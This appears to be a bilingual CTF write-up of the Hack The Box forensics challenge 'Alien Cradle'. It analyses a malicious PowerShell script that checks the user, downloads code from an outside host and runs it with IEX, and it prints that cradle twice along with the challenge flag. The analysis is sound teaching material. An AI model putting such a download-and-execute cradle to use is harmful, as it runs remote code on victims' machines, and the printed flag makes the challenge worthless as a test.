root@sparrow:~/writeups$ cat alien-cradle.md
// writeups
Alien Cradle
28 Apr 2023
· 2 min read
A suspicious PowerShell script (a download cradle). The flag isn't in the remote payload but obfuscated by string concatenation within the script itself.
Challenge overview
| Field | Value |
|---|
| Platform | Hack The Box · Challenge |
| Category | Forensics |
| Difficulty | Very Easy |
| State | Retired |
| Files | cradle.ps1 |
Attack map
[cradle.ps1] malicious PowerShell
│
▼
[check] WindowsIdentity == secret_HQ\Arth
│
▼
[download+IEX] remote payload (decoy)
│
▼
[$f='H'+'T'+'B'+...] concatenated flag
│
▼
[FLAG]
Script PowerShell sospechoso (un cradle de descarga). La flag no está en el payload remoto sino ofuscada por concatenación de cadenas dentro del propio script.
Ficha del challenge
| Campo | Valor |
|---|
| Plataforma | Hack The Box · Challenge |
| Categoría | Forensics |
| Dificultad | Very Easy |
| Estado | Retirado |
| Archivos | cradle.ps1 |
Mapa del ataque
[cradle.ps1] PowerShell malicioso
│
▼
[check] WindowsIdentity == secret_HQ\Arth
│
▼
[download+IEX] payload remoto (señuelo)
│
▼
[$f='H'+'T'+'B'+...] flag concatenada
│
▼
[FLAG]
1. Open the script
A cradle downloads and runs additional payloads (a very common fileless malware technique). We read the whole script to locate what matters.
if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};
$w=New-Object net.webclient;
$d=$w.DownloadString('http://windowsliveupdater.com/updates/...');
$f='H'+'T'+'B'+'{p0w3rs'+'h3ll'+'_Cr4d'+'l3s_c4n_g3t'+'_th'+'3_j0b_d'+'0n3}';
IEX (New-Object IO.StreamReader(...GzipStream($s,...)).ReadToEnd());
2. Analyse the obfuscation
The script only runs if the user is secret_HQ\Arth, downloads with system credentials and executes via IEX. But the flag doesn't depend on any of that.
3. Reassemble the flag
The $f variable builds the flag by concatenating fragments to hinder detection. Joining the parts yields it directly.
$f='H'+'T'+'B'+'{p0w3rs'+'h3ll'+'_Cr4d'+'l3s_c4n_g3t'+'_th'+'3_j0b_d'+'0n3}'
4. Flag
HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}
Script techniques
| Technique | Explanation |
|---|
| Environment check | Runs only for the target user |
| Download cradle | DownloadString + IEX (fileless) |
| String obfuscation | Flag split by concatenation |
Lessons learned
- PowerShell cradles (DownloadString + IEX) underpin a huge number of fileless attacks.
- Concatenation obfuscation is trivial to reverse but slows automated detection.
- In forensics, read the whole script — the key data may sit far from the remote payload.
1. Abrir el script
Un cradle descarga y ejecuta payloads adicionales (técnica fileless muy común en malware). Leemos el script completo para localizar lo relevante.
if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};
$w=New-Object net.webclient;
$d=$w.DownloadString('http://windowsliveupdater.com/updates/...');
$f='H'+'T'+'B'+'{p0w3rs'+'h3ll'+'_Cr4d'+'l3s_c4n_g3t'+'_th'+'3_j0b_d'+'0n3}';
IEX (New-Object IO.StreamReader(...GzipStream($s,...)).ReadToEnd());
2. Analizar la ofuscación
El script solo corre si el usuario es secret_HQ\Arth, descarga con credenciales del sistema y ejecuta con IEX. Pero la flag no depende de nada de eso.
3. Reconstruir la flag
La variable $f arma la flag por concatenación de fragmentos para dificultar su detección. Uniendo las partes se obtiene directamente.
$f='H'+'T'+'B'+'{p0w3rs'+'h3ll'+'_Cr4d'+'l3s_c4n_g3t'+'_th'+'3_j0b_d'+'0n3}'
4. Flag
HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}
Técnicas del script
| Técnica | Explicación |
|---|
| Environment check | Solo se ejecuta para el usuario objetivo |
| Download cradle | DownloadString + IEX (fileless) |
| String obfuscation | Flag partida por concatenación |
Lecciones aprendidas
- Los cradles PowerShell (DownloadString + IEX) son la base de muchísimos ataques fileless.
- La ofuscación por concatenación es trivial de revertir pero ralentiza la detección automática.
- En análisis forense, lee el script entero: el dato clave puede estar lejos del payload remoto.